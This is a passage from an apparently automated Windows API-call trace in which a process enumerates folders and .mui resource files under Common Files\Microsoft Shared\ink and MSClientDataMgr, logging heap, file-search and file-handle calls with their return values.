lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.115] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.115] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.115] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.115] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.115] NtClose (Handle=0x1b0) returned 0x0 [0235.115] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.115] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.116] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.116] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.116] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904918 [0235.116] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905c78 [0235.116] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.116] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.116] GetLastError () returned 0x12 [0235.116] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.116] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.116] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.116] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.116] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.116] GetLastError () returned 0x12 [0235.117] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.117] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.117] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.117] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.117] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0235.117] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.250] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.250] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.250] NtClose (Handle=0x1bc) returned 0x0 [0235.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.250] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.250] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.250] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904938 [0235.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905d80 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.251] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.251] GetLastError () returned 0x12 [0235.251] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.251] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.251] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.251] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.251] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.251] GetLastError () returned 0x12 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.251] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.251] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0235.252] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.252] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.252] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.252] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.252] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.252] NtClose (Handle=0x1b0) returned 0x0 [0235.252] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.252] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.252] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.252] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.253] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.253] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904958 [0235.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905e88 [0235.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.253] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.253] GetLastError () returned 0x12 [0235.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.253] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.253] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.253] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.253] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.253] GetLastError () returned 0x12 [0235.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.253] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.254] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0235.254] GetLastError () returned 0x12 [0235.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0235.254] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0235.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.254] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0235.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0235.373] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.373] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0235.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.373] NtClose (Handle=0x1b8) returned 0x0 [0235.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, 